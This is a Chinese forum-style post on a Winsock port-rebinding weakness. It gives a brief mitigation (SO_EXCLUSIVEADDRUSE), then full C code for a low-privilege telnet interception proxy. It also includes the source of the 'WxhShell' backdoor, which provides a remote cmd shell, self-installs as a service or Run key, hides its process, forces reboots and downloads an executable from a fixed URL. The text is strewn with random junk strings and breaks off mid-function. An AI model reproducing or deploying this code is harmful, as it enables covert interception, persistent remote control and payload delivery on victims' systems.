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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r 0iK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k@3Q|na ap+JQ@b saddr.sin_family = AF_INET; s pp f ~2QR{; XQ saddr.sin_addr.s_addr = htonl(INADDR_ANY); O4V.11FnW \}"$ ?d'f bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9|gr0~j n4R(.N00 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O#S;q5L@ LH8 fBhw 这意味着什么?意味着可以进行如下的攻击: )]H-BIuGm r'HtZo$^R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B=^)Ub5' hUp.tK:X7o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IV\'e} }n3/vlW9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <4g{ fT0
G(G{RAk> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ~5CBEIF(NS ZOeQ+j)|I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 65#'\+ 1]@}|
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C,ARXW1 \1fN0e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hM6PP7XH vnM@QfN #include rPLm5ni #include q#,f 4P #include 7G}2,ueI #include ;
Q3n DWORD WINAPI ClientThread(LPVOID lpParam); 'kL#] int main() rMLp-aR' { $JMXV WORD wVersionRequested; %&w3;d;c DWORD ret; C8 xZ;V] WSADATA wsaData; pu
7{a BOOL val; H1QJk_RL SOCKADDR_IN saddr; 8TLgNQP SOCKADDR_IN scaddr; z6jc8Z=O int err; 4'a=pnE$
SOCKET s; IDB+%xl#S SOCKET sc; 2ZG5<"DQ" int caddsize; D*gFV{Ws HANDLE mt; =E.t`x= DWORD tid; ]%wVHC wVersionRequested = MAKEWORD( 2, 2 ); m
g4nrr\ err = WSAStartup( wVersionRequested, &wsaData ); uao0_swW5 if ( err != 0 ) { S~;4*7+?: printf("error!WSAStartup failed!\n"); b`~p.c%( return -1; %t" CX5n } 7!EBH(,z saddr.sin_family = AF_INET; Vr^n1sgE}r kT"Kyd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +'I+o5* B&[M7i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OZ
|IA:,} saddr.sin_port = htons(23); qUob?|
^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P3)Nl^/ { X\@C.H2ttY printf("error!socket failed!\n"); O&4SCVZp return -1; JGsx_V1t } :UF%K>k2 val = TRUE; lyy W //SO_REUSEADDR选项就是可以实现端口重绑定的 ^Eb.:}!D6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $o0iLFIX/ { d4>Z8FF|1B printf("error!setsockopt failed!\n"); jv%kOovj return -1;
19Mu61 } T`\x,`
^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t>urc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BGD8w2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]
2eK Nn~~!q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jr /pj? { x7:s]<kE ret=GetLastError(); PT=2@kH printf("error!bind failed!\n"); gcPTLh[^Er return -1; TarIPp } ]*
F\"C@ listen(s,2); j.w@(<=x while(1) 5q;GIw^L {
UEM(@zD] caddsize = sizeof(scaddr); GqaDL3Niqs //接受连接请求 _wkVwPr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|)b6>.^ if(sc!=INVALID_SOCKET) %l}D. ml { f]`#J%P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TMlP*d# if(mt==NULL) q)S^P> { {mZC$U' printf("Thread Creat Failed!\n"); oX S1QT`B break; gQxbi1!;9 } Bm.:^:&k } <acUKfpY CloseHandle(mt); xLNtIzx } dZ rAn closesocket(s); aqRhh=iS WSACleanup(); +cgSC5nR return 0; RrX[|GLSJ } 2ORNi,_I DWORD WINAPI ClientThread(LPVOID lpParam) <lw`
3aa( { j9?}j#@ SOCKET ss = (SOCKET)lpParam; 5iz{op<$, SOCKET sc; rz wF~-m + unsigned char buf[4096]; hxVKV?Fl SOCKADDR_IN saddr; s%C)t6`9 long num; \O*-#} ~\ DWORD val; TcjEcMw, DWORD ret; Hfwq/Is //如果是隐藏端口应用的话,可以在此处加一些判断 ^)(bM$(` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ~P8tUhffK saddr.sin_family = AF_INET; T>}5:,N~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 66/3|83Z saddr.sin_port = htons(23); 5][Ztx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s \;" X { \`oT#|0 printf("error!socket failed!\n"); 0B@SN)<kH return -1; DoJ\ q+ } J&[@}$N val = 100; ,0*&OXt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t2F_uCr { 4
N H ret = GetLastError(); A+SE91m return -1;
ZHU5SXu } [ oL.+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h U`wVy { *)ardZV${ ret = GetLastError(); 1crnmJ!C return -1; s} UjGFP } 87<-kV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $@^pAP { zEd0Tmt printf("error!socket connect failed!\n"); i]Fp..`v~ closesocket(sc); Q1O}ly}JS closesocket(ss); ;>
_$` return -1; ORyE`h } NO|KVZ~ while(1) F~%]6^$w { [Sr,h0h6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )PG6gZYW //如果是嗅探内容的话,可以再此处进行内容分析和记录 "uuVy$6C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9o;^[Ql- num = recv(ss,buf,4096,0); -yE/f2PgQ if(num>0) QrB@cK] send(sc,buf,num,0); ?WF/|/ else if(num==0) ]+|~cRQ9I break; Y
;u<GOe num = recv(sc,buf,4096,0); mL{B!Q if(num>0) <(-= 'QA send(ss,buf,num,0); $FlW1E j else if(num==0) 0vEoGgY0*: break; vy0X_DPCr } p<TpK ) closesocket(ss); ?]Pmxp
H} closesocket(sc); |B'9\OkP[= return 0 ; qUjmB sB } {;N,t]>8M 6|aKL[%6 jGXO\:sO ========================================================== ;i
Fz?d3; !lf|7 下边附上一个代码,,WXhSHELL fBRo_CU8! 4]h
=yc R ========================================================== biSz?DJ> MaRi+3F #include "stdafx.h" zo +nq%= [q/Abz'i #include <stdio.h> H<v'^*( #include <string.h> @6{~05.p
#include <windows.h> cxA ^:3 #include <winsock2.h> D B-l$rj #include <winsvc.h> lDOCmdt@N #include <urlmon.h> B8B; y^b>i b4E:Wn9x #pragma comment (lib, "Ws2_32.lib") lV1G<qP #pragma comment (lib, "urlmon.lib") G?EoPh^m (yF:6$:# #define MAX_USER 100 // 最大客户端连接数 zA$k0p #define BUF_SOCK 200 // sock buffer E=e*VEjy #define KEY_BUFF 255 // 输入 buffer l^|UCgRn ]8Q4BW #define REBOOT 0 // 重启 k 8UO9r[ #define SHUTDOWN 1 // 关机 1u:
gFUb |+iws8xK? #define DEF_PORT 5000 // 监听端口 txiP!+3OWB k.uMp<)D #define REG_LEN 16 // 注册表键长度 zaah^.MA| #define SVC_LEN 80 // NT服务名长度 MYla OT 5]n[]FW // 从dll定义API V}dJ.I /# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -j73Wz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G]+&!4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .Xce9C0SW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2$?C7(kW -i)ZQCE // wxhshell配置信息 POvP]G9'" struct WSCFG { wQe_vY int ws_port; // 监听端口 Pa~)"u8 char ws_passstr[REG_LEN]; // 口令 ~(Q)"s\1I int ws_autoins; // 安装标记, 1=yes 0=no `Jzp Sw char ws_regname[REG_LEN]; // 注册表键名 @&X|5p"[g char ws_svcname[REG_LEN]; // 服务名 -7S g62THS char ws_svcdisp[SVC_LEN]; // 服务显示名 g=QDu7Ux char ws_svcdesc[SVC_LEN]; // 服务描述信息
c|M6<} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UD8op]>L int ws_downexe; // 下载执行标记, 1=yes 0=no kKAP"'v char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" .Nw=[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W7U2MqQ MC<PM6w }; _(h&7P9 zx-81fx+k // default Wxhshell configuration \De{9v struct WSCFG wscfg={DEF_PORT, c- }X_)U } "xuhuanlingzhe", ~xD={9BL 1, VO$
iNK "Wxhshell", b]x4o#t "Wxhshell", W0l,cOOZJ "WxhShell Service", WN01h=1J_ "Wrsky Windows CmdShell Service", @&1ZB6OCb: "Please Input Your Password: ", o| #Qu8Lk 1, c
)G3k/T5 " http://www.wrsky.com/wxhshell.exe", qMLD)rL "Wxhshell.exe" huJ&]"C }; .u4
W / ig/%zA*Bo // 消息定义模块 .Yf:[`Q6g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VxVE char *msg_ws_prompt="\n\r? for help\n\r#>"; Jh
]i]7r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; #)C[5?{SNq char *msg_ws_ext="\n\rExit."; ||;hciO char *msg_ws_end="\n\rQuit."; D|Q#gcWp o char *msg_ws_boot="\n\rReboot..."; ,6om\9.E@ char *msg_ws_poff="\n\rShutdown..."; 3wC' r char *msg_ws_down="\n\rSave to "; @}@Z8$G^ O*0l+mop char *msg_ws_err="\n\rErr!"; Q
aS\(_ char *msg_ws_ok="\n\rOK!"; G&4&-< B oC5E#;G char ExeFile[MAX_PATH]; W3 'q\+ int nUser = 0; P/Q!<I HANDLE handles[MAX_USER]; E;+O($bA int OsIsNt; LN@F+CyDc jV4\A
SERVICE_STATUS serviceStatus;
\4v]7SV SERVICE_STATUS_HANDLE hServiceStatusHandle; (H
->IV PK0%g$0 // 函数声明 BFo5\l:q8 int Install(void); LUqB&,a} int Uninstall(void); [[;e)SoA int DownloadFile(char *sURL, SOCKET wsh); 6f\Lf?vF int Boot(int flag); 0a}u;gt,4w void HideProc(void); `QyO`y=?[Y int GetOsVer(void); {&\jW!&n int Wxhshell(SOCKET wsl); f'
3q(a<p void TalkWithClient(void *cs); SV2M+5#; int CmdShell(SOCKET sock); m+lvl int StartFromService(void); UE$UR#T'w int StartWxhshell(LPSTR lpCmdLine); 5 N#3a0) )?X-(4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k + H3Bq VOID WINAPI NTServiceHandler( DWORD fdwControl ); (=* cK-3 jO!y_Y]B // 数据结构和表定义 O"F_* SERVICE_TABLE_ENTRY DispatchTable[] = R}q>O5O { r\/9X}y4z {wscfg.ws_svcname, NTServiceMain}, uf&myV7 {NULL, NULL} [%77bv85.G }; :9^;Qv* ,u`B<heoLU // 自我安装 i 7x7xtq int Install(void) L{h%f4Du# { A29gz:F( char svExeFile[MAX_PATH]; |j#C|V%kV HKEY key; m]5Cq6 strcpy(svExeFile,ExeFile); F.w5S!5Q G>1eFBh } // 如果是win9x系统,修改注册表设为自启动 FW/W%^ if(!OsIsNt) { STxKE %l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]
:BX!< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o1FF"tLkN RegCloseKey(key); 7z!tKs"TMT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XqW@rU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l}]t~!X= RegCloseKey(key); >rJnayLF return 0; S$Q8>u6Wk } M;p
em< } IHJ=i- } oAPb*;} else { BV>\ McI+ .pN`;*7` // 如果是NT以上系统,安装为系统服务 PDrZY.- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =gJb^
Gx(w if (schSCManager!=0) 1e&QSzL { $`z)~6'
SC_HANDLE schService = CreateService (UU(:/ ( ]cGA~d schSCManager, |aT| l^2R@ wscfg.ws_svcname, UG'9*(* wscfg.ws_svcdisp, #ZYVc|sT+ SERVICE_ALL_ACCESS, 5ZMR,SZhC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G|(
]bvJ? SERVICE_AUTO_START, -5I2ga SERVICE_ERROR_NORMAL, 2Fq<*pxAY
svExeFile, DsT>3 NULL, 34d3g NULL, \hM|(*DL NULL, Bc6|n :;u NULL, =y/8^^ NULL i1>-QDYnJ );
\9/ b!A if (schService!=0) Lz:(6`S { Yx eOI#L CloseServiceHandle(schService); ~wJFa'2 CloseServiceHandle(schSCManager); 8erSt!oM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >|twyb strcat(svExeFile,wscfg.ws_svcname); 't6V:X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /)4I|"}R0I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _g~qu
[1 RegCloseKey(key); |b|&XB_<]Z return 0; )*,5"CO } ?84
s4BpV1 } j4;0|zx-i CloseServiceHandle(schSCManager); ?ON-+u } !-,t'GF( } Z| V`B ` EpFQ|.mQ return 1; z&{5;A}Q@ } rxy&spX D?0zhU // 自我卸载 7LU}Iiv int Uninstall(void) p~9vP)74u { OnK~3j HKEY key; #3_*]8K.R G=A,9@+c if(!OsIsNt) { T`Mf]s)* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -mRA# RegDeleteValue(key,wscfg.ws_regname); ,;(PwJe RegCloseKey(key); pGK;1gVj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N9vP7 RegDeleteValue(key,wscfg.ws_regname); .] sf0S! RegCloseKey(key); \l.-eu'O return 0; vh*U]3@ } |j VM&R2s } 82]vkU } Nqrmp" ] else { 1f8GW -tyK~aasQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4=Krq6{ if (schSCManager!=0) /l<<_uk$ { 1$81E. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V2i@.@$j if (schService!=0) _<NMyRJo { w);6K[+; if(DeleteService(schService)!=0) { *
;Cy=J+ CloseServiceHandle(schService); 6p?JAT5 CloseServiceHandle(schSCManager); \@1=stK:F return 0; &bp=`=* } e`v`XSA[p CloseServiceHandle(schService); HjGyj/78w } K"[AxB'F CloseServiceHandle(schSCManager); q7-L53.x } W"k8KODOY } Ce")[<: 6'RrQc=q return 1; gF5a5T, } &ZX{R#[L [g Z"a* // 从指定url下载文件 A%{W{UP8N int DownloadFile(char *sURL, SOCKET wsh) A^2Uzmzl? { &g~ wS@ HRESULT hr; KhW;RD char seps[]= "/"; $LLA,?;! char *token; t6A:ZmG_ char *file; 1s{^X
- char myURL[MAX_PATH]; {nvLPUL char myFILE[MAX_PATH]; GKFq+]W V]vc(rH strcpy(myURL,sURL); F`9ZH. token=strtok(myURL,seps); jvV9eA:zl while(token!=NULL) zKsz*xv6b { N]<!j$pOz file=token; L token=strtok(NULL,seps); ~2zMkVH } 0sh/|`\ wu4NLgkE GetCurrentDirectory(MAX_PATH,myFILE); NSFs\a@1 strcat(myFILE, "\\"); ~~6^Sh60g strcat(myFILE, file); .^m>AKC0cX send(wsh,myFILE,strlen(myFILE),0); ryc& n5 send(wsh,"...",3,0); "n=vN<8(o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V2<?ol if(hr==S_OK) \#>T~.Y7K return 0; YTjkPj: else
W":PG68 return 1; `St.+6^J fS"Hr 0 } v,\R,{0 +\{&2a? // 系统电源模块 1& '8Y int Boot(int flag) WMBm6?54 { `r_m+] HANDLE hToken; k~|-gfFP TOKEN_PRIVILEGES tkp; D Kw*~0 (} 5S if(OsIsNt) { h#hxOVl%x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5 XA=G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]l(wg] tkp.PrivilegeCount = 1; 5&e<#" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mnID3=JF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y2[A2Uy$ef if(flag==REBOOT) { ?*oKX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J-<^P5 return 0; BkZV!Eg } ((^sDE6( else { JMS(9>+TA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -dO'~all return 0; =SAU4xjo } 80$fG8 } 9P<[7u else { _"%B7FK if(flag==REBOOT) { zA;@@)hwR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XZ/[v8 return 0; N|Sf=q?Ko } I
Nc^L else { _zu?.I0^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~-83Q5/[ return 0; //&j<vus } N7s'6(`=X } Jz! Z2c ,o7hk{fR* return 1; lMz<s } !P$'#5mr \i[BP // win9x进程隐藏模块 \bx~*FaX void HideProc(void) 3 s>'hn { "z*:'8;E
> QFHm5Jw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4\& if ( hKernel != NULL ) x5Z-{" { EOoZoVdzx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O`$#Pg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zj|/ CxV FreeLibrary(hKernel); 3<?XTv- } G8I Y# T'fcc6D5p return; oQ7]=| } zLD|/` O3.C:?;x // 获取操作系统版本 {gKN d*[* int GetOsVer(void) ]}UgS+g>$ { 5`<eKwls OSVERSIONINFO winfo; s:AkkkF winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Bo bB]~a GetVersionEx(&winfo); %o}(sShS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {NCF6Mk return 1; s(_+!d6 else cW``M.d'F return 0; w#^U45y1v } 3g~^LZ66 $iM=4
3W // 客户端句柄模块 K"2|[ 5 int Wxhshell(SOCKET wsl) Uw<&Wm`' { XW L^ SOCKET wsh; SLhEc struct sockaddr_in client; !Do,>gO DWORD myID; ap}5ElMR MbXq`% while(nUser<MAX_USER) lr2rQo> { fRm}S>Nibb int nSize=sizeof(client); p[WX'M0f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y>\S@I if(wsh==INVALID_SOCKET) return 1; zEw>SP1, 2>\\@1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4UAvw if(handles[nUser]==0) oY`qI nM_ closesocket(wsh); CT d|` else jLcHY-P0V nUser++; $gMCR
b, } %So]3;' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XV'fW~j\ yW.COWL=) return 0; L<(VG{)Z } l>v{ JLb6C52 // 关闭 socket x:t<ZG&Xwg void CloseIt(SOCKET wsh) Ewo*yY> { N*DhjEU)[ closesocket(wsh); +ySY>`1k~ nUser--; yoqa@ V ExitThread(0); ODf4+& u } 0p fnV% cbKL$| // 客户端请求句柄 !ax;5 @J void TalkWithClient(void *cs) gUB{Bh($Y { K%}}fw2RMN Y(GN4@`S SOCKET wsh=(SOCKET)cs; z#<P}} char pwd[SVC_LEN]; tiLu75vj char cmd[KEY_BUFF]; uv4 _: char chr[1]; Wn!G.(Jq int i,j; 3z{S}~ 4x'AC%&Qi while (nUser < MAX_USER) { M+sj} bO49GEUT _ if(wscfg.ws_passstr) { 0zqj0
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PdY>#Cyh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ua12f //ZeroMemory(pwd,KEY_BUFF); +zWrLf_Rc i=0; ;^l_i4A while(i<SVC_LEN) { w 7tC|^#G |Vx~fK S\ // 设置超时 R V!o4"\] fd_set FdRead; Z{{t^+XG struct timeval TimeOut; `HUf v@5 FD_ZERO(&FdRead); !v!N>f4S$ FD_SET(wsh,&FdRead); )u@t.)ChAV TimeOut.tv_sec=8; b"8FlZ$ TimeOut.tv_usec=0; 8U.$FMx : int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); za,2r^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q2C)tVK+ /BH.>R4`A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~,}s(`~ pwd =chr[0]; LCQkgRs}~{ if(chr[0]==0xd || chr[0]==0xa) { ^i<}]c_|f pwd=0; ;mO,3dV break; L(WOet( ' } _g6m=N4 i++; j$eCe<.3 } gJ\%>r7h Ugi5OKdj7) // 如果是非法用户,关闭 socket Xyv8LB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K="I<bK } '7nJb6V,0l i+~QDo(Pi send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vmKTF!; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PO
ko]@~!i a'[)9: while(1) { X9'xn 0n; =|y|P80w ZeroMemory(cmd,KEY_BUFF); L+Pc<U)T+ Kp_jy.e7& // 自动支持客户端 telnet标准 X}apxSd" j=0; "d?f:x3v^ while(j<KEY_BUFF) { /{N)) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `F,zenk= cmd[j]=chr[0]; ez0 \bym if(chr[0]==0xa || chr[0]==0xd) { >=!AL,: cmd[j]=0; ?;8M^a/ break; 6=>7M
b$ } k.Zll,s j++; ?"@ET9 } N&B>#: < EXWWrm // 下载文件 ",ad7Y7i if(strstr(cmd,"http://")) { yQS04Bl] send(wsh,msg_ws_down,strlen(msg_ws_down),0); }'jV/ if(DownloadFile(cmd,wsh)) Kcn\g. send(wsh,msg_ws_err,strlen(msg_ws_err),0); EW5]!% else x_ySf!ih send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k
E_ky) } ry,}F@P& else { 70<K.T<b /s-d? switch(cmd[0]) { luF#OP C OQ|,- // 帮助 a-Fqp4 case '?': { 5TET<f6R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &V;x 4 break; sUda
} xL&PJ /' // 安装 6ZHv,e`? case 'i': { |Y4q+sDW if(Install()) dKe@JQ+-z send(wsh,msg_ws_err,strlen(msg_ws_err),0); x=3I)}J(kn else u.&|CF- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NlFo$Y break; a&:>Ped" }
H8"tbU // 卸载 o@@w^## case 'r': { vUfO4yfdg if(Uninstall()) tnRJ#[Io send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,Bj!'Q'- else q5gP~*? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); coO.kTO; break; 7X:hIl } ,A?v,Fs>O[ // 显示 wxhshell 所在路径 7n>|D^ case 'p': { Gavkil char svExeFile[MAX_PATH]; .ftUhg strcpy(svExeFile,"\n\r"); C!kbZTO[p" strcat(svExeFile,ExeFile); ]h!*T{: send(wsh,svExeFile,strlen(svExeFile),0); ~6fRS2u break; cB36p&% } DsG !S* // 重启 Vdy\4 nu( case 'b': { |Qq+8IeYG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I,z"_[^G if(Boot(REBOOT)) a5I%RY send(wsh,msg_ws_err,strlen(msg_ws_err),0); kpY%& else { DUPmq!A closesocket(wsh); `~KAk ExitThread(0); .n=xbx:= } ~{Ua92zV9 break; (77Dif0)' } X?_v+'G // 关机 ^1vq{/ X case 'd': { L`JY4JM" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;lk f+,; if(Boot(SHUTDOWN)) 6%z`)d send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.u{.P\Md\ else { x6~Fb~aP closesocket(wsh); # m_\1&g ExitThread(0); t3M0La& } KD9Ca $- break; td`wNy\ } cG5$lB // 获取shell ]:Wb1 case 's': { R=QM; CmdShell(wsh); 0YHYx n closesocket(wsh); 3dY6;/s ExitThread(0); p\)h",RkA break; @nW'(x( } >0ssza // 退出 g;ct!f=U case 'x': { 8*"rZh}' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r$Kh3EEF`E CloseIt(wsh); rufRaar break; mURX I'JkX } W|FNDP0 // 离开 )/i4YLO case 'q': { EywZIw?mjX send(wsh,msg_ws_end,strlen(msg_ws_end),0); [29$~.m$Y closesocket(wsh); ^S3A10f, WSACleanup(); X{4xm,B/ exit(1); .Pqj6Ko9 break; Iy-u`S } :r[W'h_% } #0xm3rFy4 } w 2s, {=UKTk/t8 // 提示信息 @)+i{Niuv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C3^X1F0 } fdvi}SS8 } ((n5';|N
; \Y- return; $K;_Wf } X/K| WOO6 eDvXU_yA // shell模块句柄 {_+>"esc int CmdShell(SOCKET sock) cM|af#o { G`&'Bt{Z* STARTUPINFO si; NN?Bi=&9 ZeroMemory(&si,sizeof(si)); E]D4'] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #{.pQi}) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =#J9 PROCESS_INFORMATION ProcessInfo; Q2??Kp]1 char cmdline[]="cmd"; <$Xn:B<H CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i,\t]EJAU return 0; ,|=iv } )yfOrsM >0[qi1 // 自身启动模式 9L UP{(uq int StartFromService(void) +G>aj'\M| { v#zfs' typedef struct p=je"{ { ?d,acm DWORD ExitStatus; w4>:uyE DWORD PebBaseAddress; uBV^nUjS"m DWORD AffinityMask; KX&Od@cQ$ DWORD BasePriority; )i?{;%^ ULONG UniqueProcessId; e{d_p%( ULONG InheritedFromUniqueProcessId; 'bd=,QW } PROCESS_BASIC_INFORMATION; 7~QwlU3n<F zcbA) PROCNTQSIP NtQueryInformationProcess; U*c{:K-C jFK9?cLT static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uT@8 _9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xQcMQ{&; !dYX2!lvT HANDLE hProcess; p2M?pV PROCESS_BASIC_INFORMATION pbi; ?3e!A9x \Mh4X`<e HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _,Io(QS if(NULL == hInst ) return 0; KG7X8AaK# !'c6 Hs g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %t(, *; g_pGetModuleBaseName = 